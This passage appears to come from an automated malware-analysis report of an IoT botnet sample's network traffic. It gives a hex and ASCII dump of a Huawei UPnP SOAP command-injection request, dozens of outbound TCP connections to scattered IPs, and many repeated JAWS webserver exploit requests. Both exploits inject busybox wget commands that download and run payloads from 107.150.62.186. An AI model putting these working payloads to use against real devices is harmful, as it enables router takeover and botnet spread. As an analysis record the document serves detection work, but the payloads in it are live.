22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 134.131.46.107
Source: unknown	TCP traffic detected without corresponding DNS query: 91.181.157.107
Source: unknown	TCP traffic detected without corresponding DNS query: 218.255.160.172
Source: unknown	TCP traffic detected without corresponding DNS query: 185.144.244.25
Source: unknown	TCP traffic detected without corresponding DNS query: 72.171.16.106
Source: unknown	TCP traffic detected without corresponding DNS query: 40.87.116.21
Source: unknown	TCP traffic detected without corresponding DNS query: 192.109.44.215
Source: unknown	TCP traffic detected without corresponding DNS query: 184.207.93.58
Source: unknown	TCP traffic detected without corresponding DNS query: 73.90.13.63
Source: unknown	TCP traffic detected without corresponding DNS query: 173.74.147.115
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.53.104
Source: unknown	TCP traffic detected without corresponding DNS query: 27.7.219.11
Source: unknown	TCP traffic detected without corresponding DNS query: 165.48.177.188
Source: unknown	TCP traffic detected without corresponding DNS query: 82.1.190.6
Source: unknown	TCP traffic detected without corresponding DNS query: 130.4.212.38
Source: unknown	TCP traffic detected without corresponding DNS query: 20.64.35.248
Source: unknown	TCP traffic detected without corresponding DNS query: 35.44.156.252
Source: unknown	TCP traffic detected without corresponding DNS query: 57.87.60.192
Source: unknown	TCP traffic detected without corresponding DNS query: 171.249.220.193
Source: unknown	TCP traffic detected without corresponding DNS query: 81.141.49.95
Source: unknown	TCP traffic detected without corresponding DNS query: 194.18.196.49
Source: unknown	TCP traffic detected without corresponding DNS query: 192.88.16.170
Source: unknown	TCP traffic detected without corresponding DNS query: 126.122.25.59
Source: unknown	TCP traffic detected without corresponding DNS query: 114.248.116.37
Source: unknown	TCP traffic detected without corresponding DNS query: 143.5.144.46
Source: unknown	TCP traffic detected without corresponding DNS query: 172.78.203.242
Source: unknown	TCP traffic detected without corresponding DNS query: 40.187.155.252
Source: unknown	TCP traffic detected without corresponding DNS query: 170.137.192.196
Source: unknown	TCP traffic detected without corresponding DNS query: 12.74.26.216
Source: unknown	TCP traffic detected without corresponding DNS query: 121.194.104.226
Source: unknown	TCP traffic detected without corresponding DNS query: 106.152.185.208
Source: unknown	TCP traffic detected without corresponding DNS query: 198.52.146.165
Source: unknown	TCP traffic detected without corresponding DNS query: 137.203.156.97
Source: unknown	TCP traffic detected without corresponding DNS query: 177.142.33.22
Source: unknown	TCP traffic detected without corresponding DNS query: 37.64.134.63
Source: unknown	TCP traffic detected without corresponding DNS query: 92.229.23.10
Source: unknown	TCP traffic detected without corresponding DNS query: 144.208.77.183
Source: unknown	TCP traffic detected without corresponding DNS query: 57.176.238.223
Source: unknown	TCP traffic detected without corresponding DNS query: 106.0.239.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.142.171.92
Source: unknown	TCP traffic detected without corresponding DNS query: 101.72.186.143
Source: unknown	TCP traffic detected without corresponding DNS query: 174.125.8.174
Source: unknown	TCP traffic detected without corresponding DNS query: 149.93.239.215
Source: unknown	TCP traffic detected without corresponding DNS query: 43.77.215.174
Source: unknown	TCP traffic detected without corresponding DNS query: 172.100.75.125
Source: unknown	TCP traffic detected without corresponding DNS query: 48.94.23.78
Source: unknown	TCP traffic detected without corresponding DNS query: 155.246.121.187
Source: unknown	TCP traffic detected without corresponding DNS query: 184.94.14.70
Source: unknown	TCP traffic detected without corresponding DNS query: 158.247.147.163
Source: unknown	TCP traffic detected without corresponding DNS query: 158.198.89.125

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
